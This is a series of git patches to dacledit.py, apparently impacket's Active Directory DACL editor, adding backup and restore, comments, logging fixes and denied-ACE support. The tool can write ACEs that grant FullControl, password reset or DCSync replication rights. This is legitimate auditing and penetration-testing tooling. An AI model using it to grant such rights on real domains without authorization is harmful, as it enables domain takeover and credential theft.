ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) # Searching for the principal SID if any principal argument was given and principal_SID wasn't - if self.principal_SID is None: + if self.principal_SID is None and self.principal_sAMAccountName is not None or self.principal_DN is not None: + _lookedup_principal = "" if self.principal_sAMAccountName is not None: _lookedup_principal = self.principal_sAMAccountName self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) @@ -246,11 +239,6 @@ def read(self): return def write(self): - # if self.target_SID is not None: - # assert self.target_SID == format_sid(self.target_principal['objectSid'].raw_values[0]) - # else: - # self.target_SID = self.target_principal['objectSid'].raw_values[0] - if self.rights == "FullControl" and self.rights_guid is None: logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) @@ -258,6 +246,7 @@ def write(self): for rights_guid in self.build_guids_for_rights(): logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) + self.backup() self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) return @@ -296,21 +285,49 @@ def remove(self): i += 1 if dacl_must_be_replaced: self.principal_security_descriptor['Dacl'].aces = new_dacl + self.backup() self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) else: logging.info("Nothing to remove...") - def flush(self): - # todo but implement a check, it could be a reeeeeaaally bad idea to flush an object DACL - pass - - def backup(self, controlled_account, backup_filename): - # todo, check the format of the restore file when using ntlmrelayx, it could be nice to bring support for this, aclpwn is a bit old and not maintained anymore - pass - - def restore(self, controlled_account, backup_filename): - # todo, check the format of the restore file when using ntlmrelayx, it could be nice to bring support for this, aclpwn is a bit old and not maintained anymore - pass + def backup(self): + backup = {} + backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('utf-8') + backup["dn"] = self.target_principal.entry_dn + if not self.filename: + self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") + with codecs.open(self.filename, 'w', 'utf-8') as outfile: + json.dump(backup, outfile) + logging.info('DACL backed up to %s', self.filename) + + def restore(self): + with codecs.open(self.filename, 'r', 'utf-8') as infile: + restore = json.load(infile) + assert "sd" in restore.keys() + assert "dn" in restore.keys() + new_raw_security_descriptor = binascii.unhexlify(restore["sd"].encode('utf-8')) + new_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=new_raw_security_descriptor) + self.backup() + self.modify_secDesc_for_dn(self.target_principal.entry_dn, new_security_descriptor) + + def search_principal_security_descriptor(self): + _lookedup_principal = "" + # Set SD flags to only query for DACL + controls = security_descriptor_control(sdflags=0x04) + if self.target_sAMAccountName is not None: + _lookedup_principal = self.target_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + _lookedup_principal = self.target_SID + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + _lookedup_principal = self.target_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) + except IndexError: + raise ('Target principal not found in LDAP (%s)' % _lookedup_principal) def get_user_info(self, samname): self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) @@ -527,7 +544,8 @@ def parse_args(): target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") dacl_parser = parser.add_argument_group("dacl editor") - dacl_parser.add_argument('-action', choices=['read', 'write', 'remove'], nargs='?', default='read', help='Action to operate on the DACL') + dacl_parser.add_argument('-action', choices=['read', 'write', 'remove', 'backup', 'restore'], nargs='?', default='read', help='Action to operate on the DACL') + dacl_parser.add_argument('-file', dest="filename", type=str, help='Filename and path for the backup (optional)/restore (required)') dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)') dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove') @@ -766,6 +784,9 @@ def main(): logging.critical('-principal, -principal-sid, or -principal-dn should be specified when using -action write') sys.exit(1) + if args.action == "restore" and not args.filename: + logging.critical('-file is required when using -action restore') + domain, username, password, lmhash, nthash = parse_identity(args) if len(nthash) > 0 and lmhash == "": lmhash = "aad3b435b51404eeaad3b435b51404ee" @@ -781,6 +802,10 @@ def main(): dacledit.remove() elif args.action == 'flush': dacledit.flush() + elif args.action == 'backup': + dacledit.backup() + elif args.action == 'restore': + dacledit.restore() except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() From ee7eb8b206da73316dcd7b77bdcb8a2334b5f93a Mon Sep 17 00:00:00 2001 From: BlWasp Date: Sat, 2 Apr 2022 02:47:23 +0000 Subject: [PATCH 104/152] Add comments, improve logging and Exception handling corrections --- examples/dacledit.py | 126 +++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 121 insertions(+), 5 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index c220839ffc..e8332dc480 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -47,6 +47,7 @@ OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) +# Universal SIDs WELL_KNOWN_SIDS = { 'S-1-0': 'Null Authority', 'S-1-0-0': 'Nobody', @@ -125,6 +126,9 @@ } +# GUID rights enum +# GUID thats permits to identify extended rights in an ACE +# https://docs.microsoft.com/en-us/windows/win32/adschema/a-rightsguid class RIGHTS_GUID(Enum): WriteMembers = "bf9679c0-0de6-11d0-a285-00aa003049e2" ResetPassword = "00299570-246d-11d0-a768-00aa006e0529" @@ -132,6 +136,9 @@ class RIGHTS_GUID(Enum): DS_Replication_Get_Changes_All = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" +# ACE flags enum +# New ACE at the end of SACL for inheritance and access return system-audit +# https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-addauditaccessobjectace class ACE_FLAGS(Enum): CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE FAILED_ACCESS_ACE_FLAG = ldaptypes.ACE.FAILED_ACCESS_ACE_FLAG @@ -142,11 +149,17 @@ class ACE_FLAGS(Enum): SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG +# ACE access allowed flags enum +# For an access allowed ACE, flags that indicate if the ObjectType and the InheritedObjecType are set with a GUID +# https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace class ALLOWED_OBJECT_ACE_FLAGS(Enum): ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT +# Access Mask enum +# Access mask permits to encode principal's rights to an object. This is the rights the principal behind the specified SID has +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b class ACCESS_MASK(Enum): GenericRead = 0x80000000 GenericWrite = 0x40000000 @@ -170,12 +183,16 @@ class ACCESS_MASK(Enum): ReadData = 0x00000001 +# Simple permissions enum +# Simple permissions are combinaisons of extended permissions class SIMPLE_PERMISSIONS(Enum): FullControl = 0xf01ff Read = 0x20094 Write = 0x200bc +# Mask ObjectType field enum +# Possible values for the Mask field in object-specific ACE (permitting to specify extended rights in the ObjectType field for example) class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): ControlAccess = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS CreateChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD @@ -228,17 +245,25 @@ def __init__(self, ldap_server, ldap_session, args): self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) try: self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) - logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) + logging.debug("Found principal SID: %s" % self.principal_SID) except IndexError: - raise('Principal SID not found in LDAP (%s)' % _lookedup_principal) + logging.error('Principal SID not found in LDAP (%s)' % _lookedup_principal) + exit(1) + # Main read funtion + # Prints the parsed DACL def read(self): parsed_dacl = self.parseDACL(self.principal_security_descriptor['Dacl']) self.printparsedDACL(parsed_dacl) return + + # Main write function + # Attempts to add a new ACE to a DACL def write(self): + # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified + # Append the ACEs in the DACL locally if self.rights == "FullControl" and self.rights_guid is None: logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) @@ -246,12 +271,19 @@ def write(self): for rights_guid in self.build_guids_for_rights(): logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) + # Backups current DACL before add the new one self.backup() + # Effectively push the DACL with the new ACE self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) return + + # Attempts to remove an ACE from the DACL + # To do it, a new DACL is built locally with all the ACEs that must NOT BE removed, and this new DACL is pushed on the server def remove(self): compare_aces = [] + # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified + # These ACEs will be used as comparison templates if self.rights == "FullControl" and self.rights_guid is None: compare_aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) else: @@ -263,6 +295,14 @@ def remove(self): for ace in self.principal_security_descriptor['Dacl'].aces: ace_must_be_removed = False for compare_ace in compare_aces: + # To be sure the good ACEs are removed, multiple fields are compared between the templates and the ACEs in the DACL + # - ACE type + # - ACE flags + # - Access masks + # - Revision + # - SubAuthorityCount + # - SubAuthority + # - IdentifierAuthority value if ace['AceType'] == compare_ace['AceType'] \ and ace['AceFlags'] == compare_ace['AceFlags']\ and ace['Ace']['Mask']['Mask'] == compare_ace['Ace']['Mask']['Mask']\ @@ -270,6 +310,7 @@ def remove(self): and ace['Ace']['Sid']['SubAuthorityCount'] == compare_ace['Ace']['Sid']['SubAuthorityCount']\ and ace['Ace']['Sid']['SubAuthority'] == compare_ace['Ace']['Sid']['SubAuthority']\ and ace['Ace']['Sid']['IdentifierAuthority']['Value'] == compare_ace['Ace']['Sid']['IdentifierAuthority']['Value']: + # If the ACE has an ObjectType, the GUIDs must match if 'ObjectType' in ace['Ace'].fields.keys() and 'ObjectType' in compare_ace['Ace'].fields.keys(): if ace['Ace']['ObjectType'] == compare_ace['Ace']['ObjectType']: ace_must_be_removed = True @@ -277,12 +318,14 @@ def remove(self): else: ace_must_be_removed = True dacl_must_be_replaced = True + # If the ACE doesn't match any ACEs from the template list, it is added to the DACL that will be pushed if not ace_must_be_removed: new_dacl.append(ace) elif logging.getLogger().level == logging.DEBUG: logging.debug("This ACE will be removed") self.printparsedACE(self.parseACE(ace)) i += 1 + # If at least one ACE must been removed if dacl_must_be_replaced: self.principal_security_descriptor['Dacl'].aces = new_dacl self.backup() @@ -290,6 +333,9 @@ def remove(self): else: logging.info("Nothing to remove...") + + # Permits to backup a DACL before a modification + # This function is called before any writing action (write, remove or restore) def backup(self): backup = {} backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('utf-8') @@ -300,16 +346,24 @@ def backup(self): json.dump(backup, outfile) logging.info('DACL backed up to %s', self.filename) + + # Permits to restore a saved DACL def restore(self): + # Opens and load the file where the DACL has been saved with codecs.open(self.filename, 'r', 'utf-8') as infile: restore = json.load(infile) assert "sd" in restore.keys() assert "dn" in restore.keys() + # Extracts the Security Descriptor and converts it to the good ldaptypes format new_raw_security_descriptor = binascii.unhexlify(restore["sd"].encode('utf-8')) new_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=new_raw_security_descriptor) + # Do a backup of the actual DACL and push the restoration self.backup() self.modify_secDesc_for_dn(self.target_principal.entry_dn, new_security_descriptor) + logging.info('The DACL has been well restored.') + + # Attempts to retrieve the DACL in the Security Descriptor of the specified target def search_principal_security_descriptor(self): _lookedup_principal = "" # Set SD flags to only query for DACL @@ -327,8 +381,13 @@ def search_principal_security_descriptor(self): self.target_principal = self.ldap_session.entries[0] logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) except IndexError: - raise ('Target principal not found in LDAP (%s)' % _lookedup_principal) + loggin.error('Target principal not found in LDAP (%s)' % _lookedup_principal) + return + + # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName + # Not used for the moment + # - samname : a sAMAccountName def get_user_info(self, samname): self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) try: @@ -339,9 +398,14 @@ def get_user_info(self, samname): logging.error('User not found in LDAP: %s' % samname) return False + + # Attempts to resolve a SID and return the corresponding samaccountname + # - sid : the SID to resolve def resolveSID(self, sid): + # Tries to resolve the SID from the well known SIDs if sid in WELL_KNOWN_SIDS.keys(): return WELL_KNOWN_SIDS[sid] + # Tries to resolve the SID from the LDAP domain dump else: self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) try: @@ -352,6 +416,9 @@ def resolveSID(self, sid): logging.debug('SID not found in LDAP: %s' % sid) return "" + + # Parses a full DACL + # - dacl : the DACL to parse, submitted in a Security Desciptor format def parseDACL(self, dacl): parsed_dacl = [] logging.info("Parsing DACL") @@ -362,8 +429,10 @@ def parseDACL(self, dacl): i += 1 return parsed_dacl + + # Parses an access mask to extract the different values from a simple permission + # - fsr : the access mask to parse def parsePerms(self, fsr): - # get simple permission _perms = [] for PERM in SIMPLE_PERMISSIONS: if (fsr & PERM.value) == PERM.value: @@ -374,40 +443,55 @@ def parsePerms(self, fsr): _perms.append(PERM.name) return _perms + + # Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType) + # - ace : the ACE to parse def parseACE(self, ace): + # For the moment, only the Allowed Access ACE are supported if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": parsed_ace = {} parsed_ace['ACE Type'] = ace['TypeName'] + # Retrieves ACE's flags _ace_flags = [] for FLAG in ACE_FLAGS: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" + # For standard ACE + # Extracts the access mask (by parsing the simple permissions) and the principal's SID if ace['TypeName'] == "ACCESS_ALLOWED_ACE": parsed_ace['Access mask'] = "%s (0x%x)" % (", ".join(self.parsePerms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask']) parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) # todo match the SID with the object sAMAccountName ? + + # For object-specific ACE elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": - _access_mask_flags = [] + # Extracts the mask values. These values will indicate the ObjectType purpose # todo check if this access mask parsing is okay + _access_mask_flags = [] for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: if ace['Ace']['Mask'].hasPriv(FLAG.value): _access_mask_flags.append(FLAG.name) parsed_ace['Access mask'] = ", ".join(_access_mask_flags) # todo match the SID with the object sAMAccountName ? + + # Extracts the ACE flag values and the trusted SID _object_flags = [] for FLAG in ALLOWED_OBJECT_ACE_FLAGS: if ace['Ace'].hasFlag(FLAG.value): _object_flags.append(FLAG.name) parsed_ace['Flags'] = ", ".join(_object_flags) or "None" parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) + + # Extracts the ObjectType GUID values if ace['Ace']['ObjectTypeLen'] != 0: obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() try: parsed_ace['Object type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) except KeyError: parsed_ace['Object type (GUID)'] = "UNKNOWN (%s)" % obj_type + # Extracts the InheritedObjectType GUID values if ace['Ace']['InheritedObjectTypeLen'] != 0: inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower() try: @@ -415,6 +499,7 @@ def parseACE(self, ace): except KeyError: parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type else: + # If the ACE is not an access allowed logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) parsed_ace = {} parsed_ace['ACE type'] = ace['TypeName'] @@ -426,7 +511,11 @@ def parseACE(self, ace): parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" return parsed_ace + + # Prints a full DACL by printing each parsed ACE + # - parsed_dacl : a parsed DACL from parseDACL() def printparsedDACL(self, parsed_dacl): + # Attempts to retrieve the principal's SID if it's a write action if self.principal_SID is None and self.principal_sAMAccountName or self.principal_DN: if self.principal_sAMAccountName is not None: _lookedup_principal = self.principal_sAMAccountName @@ -443,6 +532,7 @@ def printparsedDACL(self, parsed_dacl): logging.info("Printing parsed DACL") i = 0 + # If a principal has been specified, only the ACE where he is the trustee will be printed if self.principal_SID is not None: logging.info("Filtering results for SID (%s)" % self.principal_SID) for parsed_ace in parsed_dacl: @@ -455,11 +545,16 @@ def printparsedDACL(self, parsed_dacl): self.printparsedACE(parsed_ace) i += 1 + + # Prints properly a parsed ACE + # - parsed_ace : a parsed ACE from parseACE() def printparsedACE(self, parsed_ace): elements_name = list(parsed_ace.keys()) for attribute in elements_name: logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + + # Retrieves the GUIDs for the specified rights def build_guids_for_rights(self): _rights_guids = [] if self.rights_guid is not None: @@ -470,11 +565,18 @@ def build_guids_for_rights(self): _rights_guids = [RIGHTS_GUID.ResetPassword.value] elif self.rights == "DCSync": _rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value, RIGHTS_GUID.DS_Replication_Get_Changes_All.value] + logging.debug('Built GUID: %s', _rights_guids) return _rights_guids + + # Attempts to push the locally built DACL to the remote server into the security descriptor of the specified principal + # The target principal is specified with its Distinguished Name + # - dn : the principal's Distinguished Name to modify + # - secDesc : the Security Descriptor with the new DACL to push def modify_secDesc_for_dn(self, dn, secDesc): data = secDesc.getData() controls = security_descriptor_control(sdflags=0x04) + logging.debug('Attempts to modify the Security Descriptor.') self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.ldap_session.result['result'] == 0: logging.info('DACL modified successfully!') @@ -488,6 +590,11 @@ def modify_secDesc_for_dn(self, dn, secDesc): else: logging.error('The server returned an error: %s', self.ldap_session.result['message']) + + # Builds a standard allowed access ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right) + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb + # - access_mask : the allowed access mask + # - sid : the principal's SID def create_access_allowed_ace(self, access_mask, sid): nace = ldaptypes.ACE() nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE @@ -498,8 +605,15 @@ def create_access_allowed_ace(self, access_mask, sid): acedata['Sid'] = ldaptypes.LDAP_SID() acedata['Sid'].fromCanonical(sid) nace['Ace'] = acedata + logging.debug('Allowed access ACE created.') return nace + + # Builds an object-specific allowed access ACE for a specified ObjectType (an extended right, a property, etc, to add) for a specified SID (the principal who obtains the right) + # The Mask is "ADS_RIGHT_DS_CONTROL_ACCESS" (the ObjectType GUID will identify an extended access right) + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe + # - privguid : the ObjectType (an Extended Right here) + # - sid : the principal's SID def create_access_allowed_object_ace(self, privguid, sid): nace = ldaptypes.ACE() nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE @@ -512,8 +626,10 @@ def create_access_allowed_object_ace(self, privguid, sid): acedata['Sid'] = ldaptypes.LDAP_SID() acedata['Sid'].fromCanonical(sid) assert sid == acedata['Sid'].formatCanonical() + # This ACE flag verifes if the ObjectType is valid acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT nace['Ace'] = acedata + logging.debug('Object-specific allowed access ACE created.') return nace From 3b89ddf651a823118c26e96111fc87948255bc50 Mon Sep 17 00:00:00 2001 From: BlWasp Date: Sat, 2 Apr 2022 02:56:03 +0000 Subject: [PATCH 105/152] Typo error --- examples/dacledit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index e8332dc480..f1bdc3fa6e 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -381,7 +381,7 @@ def search_principal_security_descriptor(self): self.target_principal = self.ldap_session.entries[0] logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) except IndexError: - loggin.error('Target principal not found in LDAP (%s)' % _lookedup_principal) + logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) return From 472101d2fcd94575ec51118cc816aa912d5e469e Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 3 Apr 2022 00:20:41 +0200 Subject: [PATCH 106/152] Improving restore logic --- examples/dacledit.py | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index f1bdc3fa6e..305ce64247 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -227,12 +227,12 @@ def __init__(self, ldap_server, ldap_session, args): cnf.basepath = None self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) - # Searching for target account with its security descriptor - self.search_principal_security_descriptor() - - # Extract security descriptor data - self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] - self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) + if self.target_sAMAccountName or self.target_SID or self.target_DN: + # Searching for target account with its security descriptor + self.search_target_principal_security_descriptor() + # Extract security descriptor data + self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) # Searching for the principal SID if any principal argument was given and principal_SID wasn't if self.principal_SID is None and self.principal_sAMAccountName is not None or self.principal_DN is not None: @@ -265,7 +265,7 @@ def write(self): # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified # Append the ACEs in the DACL locally if self.rights == "FullControl" and self.rights_guid is None: - logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) + logging.debug("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) else: for rights_guid in self.build_guids_for_rights(): @@ -357,14 +357,22 @@ def restore(self): # Extracts the Security Descriptor and converts it to the good ldaptypes format new_raw_security_descriptor = binascii.unhexlify(restore["sd"].encode('utf-8')) new_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=new_raw_security_descriptor) + + self.target_DN = restore["dn"] + # Searching for target account with its security descriptor + self.search_target_principal_security_descriptor() + # Extract security descriptor data + self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) + # Do a backup of the actual DACL and push the restoration self.backup() - self.modify_secDesc_for_dn(self.target_principal.entry_dn, new_security_descriptor) + self.modify_secDesc_for_dn(self.target_DN, new_security_descriptor) logging.info('The DACL has been well restored.') # Attempts to retrieve the DACL in the Security Descriptor of the specified target - def search_principal_security_descriptor(self): + def search_target_principal_security_descriptor(self): _lookedup_principal = "" # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) From f9393e093de9a1661a9ec0a1fa4afc1a31c6a841 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 3 Apr 2022 00:53:35 +0200 Subject: [PATCH 107/152] Adding exception for read filtering --- examples/dacledit.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 305ce64247..d1734388d5 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -390,7 +390,7 @@ def search_target_principal_security_descriptor(self): logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) except IndexError: logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) - return + exit(0) # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName @@ -546,8 +546,11 @@ def printparsedDACL(self, parsed_dacl): for parsed_ace in parsed_dacl: print_ace = True if self.principal_SID is not None: - if self.principal_SID not in parsed_ace['Trustee (SID)']: - print_ace = False + try: + if self.principal_SID not in parsed_ace['Trustee (SID)']: + print_ace = False + except Exception as e: + logging.error("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) if print_ace: logging.info(" %-28s" % "ACE[%d] info" % i) self.printparsedACE(parsed_ace) From 456545239d74ca172d51cf4d91f0c8e58ac5e0f1 Mon Sep 17 00:00:00 2001 From: BlWasp Date: Fri, 8 Apr 2022 19:00:13 +0000 Subject: [PATCH 108/152] Denied ACE now handled --- examples/dacledit.py | 72 ++++++++++++++++++++++++++------------------ 1 file changed, 42 insertions(+), 30 deletions(-) mode change 100644 => 100755 examples/dacledit.py diff --git a/examples/dacledit.py b/examples/dacledit.py old mode 100644 new mode 100755 index d1734388d5..9e72464144 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -149,10 +149,11 @@ class ACE_FLAGS(Enum): SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG -# ACE access allowed flags enum -# For an access allowed ACE, flags that indicate if the ObjectType and the InheritedObjecType are set with a GUID +# ACE flags enum +# For an ACE, flags that indicate if the ObjectType and the InheritedObjecType are set with a GUID +# Since these two flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes' # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace -class ALLOWED_OBJECT_ACE_FLAGS(Enum): +class OBJECT_ACE_FLAGS(Enum): ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT @@ -193,6 +194,8 @@ class SIMPLE_PERMISSIONS(Enum): # Mask ObjectType field enum # Possible values for the Mask field in object-specific ACE (permitting to specify extended rights in the ObjectType field for example) +# Since these flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes' +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): ControlAccess = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS CreateChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD @@ -218,6 +221,7 @@ def __init__(self, ldap_server, ldap_session, args): self.principal_SID = args.principal_SID self.principal_DN = args.principal_DN + self.ace_type = args.ace_type self.rights = args.rights self.rights_guid = args.rights_guid self.filename = args.filename @@ -266,11 +270,11 @@ def write(self): # Append the ACEs in the DACL locally if self.rights == "FullControl" and self.rights_guid is None: logging.debug("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) - self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) + self.principal_security_descriptor['Dacl'].aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) else: for rights_guid in self.build_guids_for_rights(): logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) - 